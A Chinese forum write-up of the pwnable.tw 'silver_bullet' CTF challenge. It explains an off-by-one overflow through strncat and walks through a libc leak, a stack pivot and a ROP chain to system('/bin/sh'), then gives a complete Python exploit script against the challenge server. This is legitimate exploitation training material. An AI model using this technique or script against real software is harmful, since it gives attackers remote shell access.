-
-
[原创][pwn学习日记] pwnable.tw silver_bullet
-
2017-6-15 20:33 5514
-
新手学pwn,感觉做的很墨迹...
一.程序分析
先查看程序保护
然后进行反汇编
是经典的菜单类题目
简单来说程序的流程就是首先创建一颗银弹,然后可以提升银弹攻击力,直到可以打败狼人
接下来先看看我自定义的结构
然后就是3个函数
先找出溢出点
在create_bullet中
创建一颗银弹,输入的字符串长度就是银弹的攻击力,这里最大输入是0x30,看main函数的bullet定义缓冲区的大小就是0x30,所以没有溢出
在power_up中
输入一段字符串,与之前创建的银弹字符串连接,输入最大长度是0x30-之前银弹字符串长度,然后更新银弹字符串长度,乍一看没有溢出,不过strncat是在前一个字符串缓冲区的\x00处开始复制,然后复制结束后在下一字节添加\x00,这里如果两次输入的长度一共为0x30,就会造成off-by-one,溢出了一字节,然后这一字节刚好是覆盖了银弹字符串长度(攻击力),再次调用power_up就会造成溢出
在beat中
只要攻击力够高(这个溢出时很容易实现),就可以获取胜利并且main函数可以返回进而执行溢出内容
二.漏洞利用
因为power_up中限制银弹字符串长度最大为0x2f,为了使溢出的缓冲区尽量长,在创建银弹的时候输入0x2F个字符,然后第一次执行power_up的时候输入字符串长度为1,接下来溢出一字节到银弹长度里,然后更新银弹长度的时候0+1=1,所以在下一次调用power_up时最大允许我们溢出0x2F长度,但是这个长度不足我getshell,所以我这里还进行了栈迁移
1.泄漏地址
首先当然要获取system的地址,但是程序里没有引用,所以通过泄漏printf的地址得到libc的地址,获取加上system的偏移得到system的地址
2.栈迁移
溢出后栈中ebp是可控的,当执行了两次leave retn后esp就为栈中的ebp,然后就可以把栈扔到数据段
因为bullet的内容在main全部清0,所以在第二次power_up输入的字符就会连接到银弹字符串长度的第二个字节处,输入内容如下
刚好0x2F字符以内,这里首先泄漏了printf的地址来计算system的地址,然后通过gadget1转到read_input_addr那里执行,目的是在新栈中写内容,在通过gadget2再执行一次leave retn到达新栈(gadget1 gadget2在程序中找到)
接下来新栈的内容就很简单了
至此getshell成功
import socket import struct HOST = 'chall.pwnable.tw' PORT = 10103 s = socket.socket() s.connect((HOST, PORT)) data = s.recv(1024).decode('ascii') print(data) data = s.recv(1024).decode('ascii') print(data) #创建银弹 payload ="1\n".encode('ascii') s.sendall(payload) data = s.recv(1024).decode('ascii') print(data) payload =("1"*0x2F+"\n").encode('ascii') s.sendall(payload) data = s.recv(1024).decode('ascii') print(data) data = s.recv(1024).decode('ascii') print(data) #溢出一字节 payload ="2\n".encode('ascii') s.sendall(payload) data = s.recv(1024).decode('ascii') print(data) payload =("1"*0x1+"\n").encode('ascii') s.sendall(payload) data = s.recv(1024).decode('ascii') print(data) data = s.recv(1024).decode('ascii') print(data) #覆盖返回地址 制造伪栈 泄漏printf地址 printf_plt=0x08048498 fmtstr_addr=0x08048BAB#: %s gadget1_addr=0x08048472#add esp,0x8 pop ebx retn gadget2_addr=0x08048A18#leave retn printf_got=0x0804AFD4 fake_stack_addr=0x0804B410#地址尽量不要靠近数据段边缘,容易访问错误 ebp=fake_stack_addr read_input_addr=0x080485EB payload ="2\n".encode('ascii') s.sendall(payload) data = s.recv(1024).decode('ascii') print(data) payload =b"\xff"*0x3+\ struct.pack("<I",ebp)+\ struct.pack("<I",printf_plt)+\ struct.pack("<I",gadget1_addr)+\ struct.pack("<I",fmtstr_addr)+\ struct.pack("<I",printf_got)+\ b"A"*4+\ struct.pack("<I",read_input_addr)+\ struct.pack("<I",gadget2_addr)+\ struct.pack("<I",fake_stack_addr)+\ struct.pack("<I",0x01010101)+\ b"\n" s.sendall(payload) data = s.recv(1024).decode('ascii') print(data) #赢得游戏并返回 在新栈写内容 获取printf地址 system_offset=0x0003A940 printf_offset=0x00049020 payload ="3\n".encode('ascii') s.sendall(payload) data = s.recv(1024).decode('ascii') print(data) data = s.recv(1024).decode('ascii') print(data) data = s.recv(1024).decode('ascii') print(data) data = s.recv(1024) print(data) printf_addr=struct.unpack("<I",data[11:15])[0] print("printf_addr:"+hex(printf_addr)) system_addr=printf_addr-printf_offset+system_offset print("system_addr:"+hex(system_addr)) ret_addr=0x01010101 payload=struct.pack("<I",ebp)+\ struct.pack("<I",system_addr)+\ struct.pack("<I",ret_addr)+\ struct.pack("<I",fake_stack_addr+0x10)+\ b"/bin/sh"+\ b"\n" s.sendall(payload) payload="cat /home/silver_bullet/flag\n".encode('ascii') s.sendall(payload) data = s.recv(1024).decode('ascii') print(data) s.close()
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!